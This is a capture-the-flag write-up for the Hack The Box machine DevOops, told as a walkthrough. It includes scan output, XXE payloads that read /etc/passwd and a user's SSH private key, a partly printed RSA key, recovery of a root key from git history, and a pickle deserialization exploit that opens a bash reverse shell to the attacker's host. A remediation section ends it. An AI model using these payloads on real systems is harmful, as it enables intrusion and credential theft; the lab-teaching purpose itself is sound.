DevOops Writeup w/o Metasploit


Run the nmapAutomator script to enumerate open ports and services running on those ports.

./ All
  • All: Runs all the scans consecutively.

We get back the following result.

Running all scans on is likely running Linux---------------------Starting Nmap Quick Scan---------------------Starting Nmap 7.80 ( ) at 2020-01-28 00:59 EST
Nmap scan report for
Host is up (0.042s latency).
Not shown: 998 closed ports
22/tcp open ssh
5000/tcp open upnpNmap done: 1 IP address (1 host up) scanned in 0.92 seconds---------------------Starting Nmap Basic Scan---------------------Starting Nmap 7.80 ( ) at 2020-01-28 00:59 EST
Nmap scan report for
Host is up (0.031s latency).PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 42:90:e3:35:31:8d:8b:86:17:2a:fb:38:90:da:c4:95 (RSA)
| 256 b7:b6:dc:c4:4c:87:9b:75:2a:00:89:83:ed:b2:80:31 (ECDSA)
|_ 256 d5:2f:19:53:b2:8e:3a:4b:b3:dd:3c:1f:c0:37:0d:00 (ED25519)
5000/tcp open http Gunicorn 19.7.1
|_http-server-header: gunicorn/19.7.1
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 9.30 seconds----------------------Starting Nmap UDP Scan----------------------
Starting Nmap 7.80 ( ) at 2020-01-28 00:59 EST
Warning: giving up on port because retransmission cap hit (1).
Nmap scan report for
Host is up (0.035s latency).
All 1000 scanned ports on are open|filtered (952) or closed (48)Nmap done: 1 IP address (1 host up) scanned in 42.48 seconds---------------------Starting Nmap Full Scan----------------------
Starting Nmap 7.80 ( ) at 2020-01-28 01:00 EST
Initiating Parallel DNS resolution of 1 host. at 01:00
Completed Parallel DNS resolution of 1 host. at 01:00, 0.01s elapsed
Initiating SYN Stealth Scan at 01:00
Scanning [65535 ports]
Discovered open port 22/tcp on
SYN Stealth Scan Timing: About 23.21% done; ETC: 01:02 (0:01:43 remaining)
Discovered open port 5000/tcp on
SYN Stealth Scan Timing: About 46.06% done; ETC: 01:02 (0:01:11 remaining)
Warning: giving up on port because retransmission cap hit (1).
SYN Stealth Scan Timing: About 68.91% done; ETC: 01:02 (0:00:41 remaining)
Completed SYN Stealth Scan at 01:02, 131.94s elapsed (65535 total ports)
Nmap scan report for
Host is up (0.033s latency).
Not shown: 65533 closed ports
22/tcp open ssh
5000/tcp open upnpRead data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 132.12 seconds
Raw packets sent: 65954 (2.902MB) | Rcvd: 65783 (2.631MB)No new ports---------------------Starting Nmap Vulns Scan---------------------
Running CVE scan on basic ports
Starting Nmap 7.80 ( ) at 2020-01-28 01:02 EST
Nmap scan report for
Host is up (0.032s latency).PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
5000/tcp open http Gunicorn 19.7.1
|_http-server-header: gunicorn/19.7.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 9.33 secondsRunning Vuln scan on basic ports
Starting Nmap 7.80 ( ) at 2020-01-28 01:02 EST
/usr/local/bin/ line 226: 1608 Segmentation fault $nmapType -sV --script vuln -p$(echo "${ports}") -oN nmap/Vulns_"$1".nmap "$1"---------------------Recon Recommendations----------------------Web Servers Recon:
gobuster dir -w /usr/share/wordlists/dirb/common.txt -l -t 30 -e -k -x .html,.php -u -o recon/gobuster_10.10.10.91_5000.txt
nikto -host | tee recon/nikto_10.10.10.91_5000.txt
Which commands would you like to run?
All (Default), gobuster, nikto, Skip <!>Running Default in (1) s:---------------------Running Recon Commands----------------------Starting gobuster scan
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:
[+] Threads: 30
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Show length: true
[+] Extensions: html,php
[+] Expanded: true
[+] Timeout: 10s
2020/01/28 01:03:45 Starting gobuster
=============================================================== (Status: 200) [Size: 546263] (Status: 200) [Size: 347]
2020/01/28 01:04:33 Finished
===============================================================Finished gobuster scan
Starting nikto scan
- Nikto v2.1.6
+ Target IP:
+ Target Hostname:
+ Target Port: 5000
+ Start Time: 2020-01-28 01:04:55 (GMT-5)
+ Server: gunicorn/19.7.1
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: HEAD, OPTIONS, GET
+ 7865 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time: 2020-01-28 01:14:54 (GMT-5) (599 seconds)
+ 1 host(s) testedFinished nikto scan
---------------------Finished all Nmap scans---------------------Completed in 15 minute(s) and 11 second(s)

We have two ports open.

  • Port 22: running OpenSSH 7.2p2

  • Port 5000: running Gunicorn 19.7.1

Before we move on to enumeration, let’s make some mental notes about the scan results.

  • The OpenSSH version that is running on port 22 is not associated with any critical vulnerabilities, so it’s unlikely that we gain initial access through this port, unless we find credentials.

  • The Gobuster scan found two directories: feed and upload. The upload directory sounds interesting, we’ll check it out to see if we can get initial access through it.


Visit the application in the browser.

The index page makes mention of a page. This page didn’t show up in our gobuster scan. Visit the page in the application.

We get a 404 error. Next, let’s visit the upload directory.

It seems to be taking in XML files. When I see an XML upload functionality, the first thing I test for is an XML External Entity (XXE) injection. This is a type of attack that exploits how the backend XML parser processes XML data. If successful, it can allow an attacker to view files on the server, conduct a server side request forgery attack, etc.

To test this out, let’s first create an empty test.xml file and upload it. Intercept the request in Burp and send it to Repeater. Then send the request.

We get an internal server error, which probably means that there is a certain XML structure that the backend is expecting. The page did make mention of three XML elements: Author, Subject and Content. So after a bit of trail and error, we find that the following payload generated a 200 status code.

<?xml version="1.0"?>

Now that we have a working request, let’s see if it is vulnerable to XXE injection. Visit the PayloadAllTheThings XXE section and perform the basic entity test that detects if this vulnerability exists.

<?xml version="1.0"?>
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>

The above payload includes the entity “example” in the DOCTYPE element. If the XML parser parses this entity, it will display the string “Doe” in the “Author” element.

As can be seen in the response, we now have confirmation that this upload functionality is vulnerable to an XXE injection.

Initial Foothold

Let’s take this exploit a step further and retrieve the content of the /etc/passwd file.

<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>

Filter the result on users that have a /bin/bash shell assigned to them.


The user.txt file is probably in the roosa home directory. Since SSH is the only other port that is open, let’s check if roosa has an SSH private key in her home directory.

<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///home/roosa/.ssh/id_rsa'>]>

Perfect! Save the content of the private key in file roosa_id_rsa.

-----BEGIN RSA PRIVATE KEY-----MIIEogIBAAKCAQEAuMMt4qh/ib86xJBLmzePl6/5ZRNJkUj/Xuv1+d6nccTffb/7
82W3d4vCUPkKnrgG8F7s3GL6cqWcbZBd0j9u88fUWfPxfRaQU3s=-----END RSA PRIVATE KEY-----

Change the permissions of the file.

chmod 600 roosa_id_rsa

SSH into roosa’s account.

ssh -i roosa_id_rsa [email protected]

Grab the user.txt flag.

Privilege Escalation

View the content of the home directory.

total 168
drwxr-xr-x 22 roosa roosa 4096 May 29 2018 .
drwxr-xr-x 7 root root 4096 Mar 19 2018 ..
-r-------- 1 roosa roosa 5704 Mar 21 2018 .bash_history
-rw-r--r-- 1 roosa roosa 220 Mar 19 2018 .bash_logout
-rw-r--r-- 1 roosa roosa 3771 Mar 19 2018 .bashrc
drwx------ 12 roosa roosa 4096 Jan 29 21:31 .cache

Let’s look into the .bash_history file.

[email protected]:~$ cat .bash_history...
ls -altr
cat kak
cp kak resources/integration/authcredentials.key
git add resources/integration/authcredentials.key
git commit -m 'reverted accidental commit with proper key'

Roosa made a commit that contained a key. To view the commit history run the following command.

fatal: Not a git repository (or any parent up to mount point /home)
Stopping at filesystem boundary (GIT_DISCOVERY_ACROSS_FILESYSTEM not set).

We get an error that the folder we’re in is not a git repository. To find the git repository, locate the .git file.

[email protected]:~$ locate .git

It’s in the directory /blogfeed directory.

[email protected]:~/work/blogfeed$ git log....
commit dfebfdfd9146c98432d19e3f7d83cc5f3adbfe94
Author: Roosa Hakkerson <[email protected]>
Date: Tue Mar 20 08:37:56 2018 -0400Gunicorn startup scriptcommit 33e87c312c08735a02fa9c796021a4a3023129ad
Author: Roosa Hakkerson <[email protected]>
Date: Mon Mar 19 09:33:06 2018 -0400reverted accidental commit with proper key

We get a commit id for the commit that reverted the proper key. Use the commit ID to show the difference between that commit and the previous one.

git show 33e87c312c08735a02fa9c796021a4a3023129ad

We get back the following result.

commit 33e87c312c08735a02fa9c796021a4a3023129ad
Author: Roosa Hakkerson <[email protected]>
Date: Mon Mar 19 09:33:06 2018 -0400reverted accidental commit with proper keydiff --git a/resources/integration/authcredentials.key b/resources/integration/authcredentials.key
index 44c981f..f4bde49 100644
--- a/resources/integration/authcredentials.key
+++ b/resources/integration/authcredentials.key
@@ -1,28 +1,27 @@

So it seems that Roosa deleted an RSA private key and replaced it with her own RSA private key. We don’t know who the deleted key belongs to so let’s add it in the file unknown_id_rsa.


Change the permissions on the file.

chmod 600 unknown_id_rsa

Try to log into the git account with it.

[email protected]:~/Desktop/htb/devoops# ssh -i unknown_id_rsa [email protected]
[email protected]'s password:

It doesn’t work. Let’s try the root account.

[email protected]:~/Desktop/htb/devoops# ssh -i unknown_id_rsa [email protected]
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-37-generic i686)* Documentation:
* Management:
* Support: packages can be updated.
60 updates are security updates.Last login: Mon Mar 26 06:23:48 2018 from

We’re in! Grab the root.txt flag.

Extra Content

After rooting this machine, I watched ippsec’s video and discovered an alternative way to gain initial access.

In the index page, there was a mention of a script that gave us a 404 error when we tried to access it through the application. We can use the XXE injection vulnerability to view the content of the script.

xml version="1.0"?>
<!DOCTYPE root [<!ENTITY test SYSTEM ''>]>

We get back the following result in the response.

Author: ')
def uploaded_file(filename):
return send_from_directory(Config.UPLOAD_FOLDER,
def xss():
return template('index.html')@app.route("/feed")
def fakefeed():
return send_from_directory(".","devsolita-snapshot.png")@app.route("/newpost", methods=["POST"])
def newpost():
# TODO: proper save to database, this is for testing purposes right now
picklestr = base64.urlsafe_b64decode(
# return picklestr
postObj = pickle.loads(picklestr)
return "POST RECEIVED: " + postObj['Subject']## TODO: VERY important! DISABLED THIS IN PRODUCTION
#app = DebuggedApplication(app, evalex=True, console_path='/debugconsole')
# TODO: Replace with real Linux service script
# app = DebuggedApplication(app, evalex=True, console_path='/debugconsole')if __name__ == "__main__":'0.0.0,0', Debug=True)Subject: test
Content: test
URL for later reference: /uploads/test.xml
File path: /home/roosa/deploy/src

We see that there is a newpost directory that takes in user input (request data) in a POST method and loads it using the pickle module.

A quick search on the module tells us what it does.

The pickle module implements binary protocols for serializing and de-serializing a Python object structure.

The page also include the following warning.

This is a HUGE red flag! The above warning states that you should never take in data from an untrusted source, however, in the script above, we can see that it takes in request data (which is client side data that can be tampered with) and doesn’t do any validation on that data. So we definitely have an arbitrary code execution vulnerability here.

Do a google search on “pickle exploit” to find the following github page. Download the exploit code and change the command to a bash reverse shell with the correct IP address and port.

# Pickle deserialization RCE payload.
# To be invoked with command to execute at it's first parameter.
# Otherwise, the default one will be used.
import cPickle
import sys
import base64DEFAULT_COMMAND = "bash -c 'bash -i >& /dev/tcp/ 0>&1'"
COMMAND = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_COMMANDclass PickleRce(object):
def __reduce__(self):
import os
return (os.system,(COMMAND,))print base64.b64encode(cPickle.dumps(PickleRce()))

Run the exploit.

[email protected]:~/Desktop/htb/devoops# python Y3Bvc2l4CnN5c3RlbQpwMQooUyJiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjEyLzEyMzQgMD4mMSciCnAyCnRScDMKLg==

We need to insert the above base64 encoded string into the the POST request to /newpost. To do that, intercept the request to the index page, send it to Repeater, right click and select the option Change Request Method. Then add the path /newpost, change the Content-Type to ‘text’ and include the base64 string our exploit generated.

Send the request and we get a shell!

Lessons Learned

To gain an initial foothold on the box we exploited two vulnerabilities.

  1. XML External Entity (XXE) injection that allowed us to enumerate users on the box and obtain the SSH private key of the user roosa. Remediations for this vulnerability include input validation and properly configuring XML parsers to disable the resolution of external entities.

  2. Lack of input validation that allowed us to run arbitrary commands on the system. The application was taking in untrusted user input and unpacking it using the pickle python deserialization library. Since the input was not properly validated, we generated a string of malicious input that sent a reverse shell back to our attack machine. Remediations for this vulnerability include input validation and using secure libraries that have built in input validation checks.

To escalate privileges we exploited one vulnerability.

  1. Sensitive information disclosure. The developer had previously committed the root RSA private key in a Github repository. Although the key was replaced with the correct one, we were still able to access the original key in the commit history. Remediation for this vulnerability would be to remove the file from the repository’s history. For more information on how to do that, refer to this link.